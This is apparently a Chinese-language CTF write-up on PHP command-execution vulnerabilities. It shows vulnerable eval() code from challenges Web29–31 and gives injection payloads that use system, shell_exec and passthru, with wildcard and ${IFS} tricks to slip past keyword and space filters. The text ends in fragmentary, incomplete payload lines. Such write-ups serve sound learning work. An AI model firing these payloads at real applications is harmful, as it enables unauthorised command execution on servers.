CTF Web 命令执行实战
漏洞原理与核心函数
命令执行漏洞的本质在于应用程序将用户可控的输入数据未经充分安全处理,直接传递给系统命令解释器(如 /bin/bash、cmd.exe)执行。在 PHP 环境中,常见的危险代码执行函数包括 eval()、assert()、preg_replace()、create_function() 等;而直接调用系统命令的函数则有 system()、exec()、shell_exec()、passthru() 等。
利用场景广泛,涵盖基础注入、编码绕过、特殊字符逃逸、文件包含配合、无参数 RCE 以及协议利用等。下面通过一系列典型题目梳理实战思路。
基础注入与参数逃逸
基础过滤绕过 (Web29-31)
Web29
代码逻辑使用 eval() 执行 GET 参数 c,并过滤了 flag 关键字。此时应转向命令执行函数。
error_reporting(0);
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/flag/i",$c)){
eval($c);
}
}
Payload 示例:
?c=system('tac fla*');
?c=system("tac fla?.php");
Web30
增加了 system、php、cat 等关键词过滤。需更换命令执行函数。
Payload 示例:
?c=echo shell_exec('tac fla*');
Web31 过滤更严格,包含空格、单引号等。可利用 Shell 内部变量或特殊字符替代空格。 Payload 示例:
# IFS 变量替代空格
?c=passthru("tac${IFS}fla*");
?=passthru()
?=passthru()

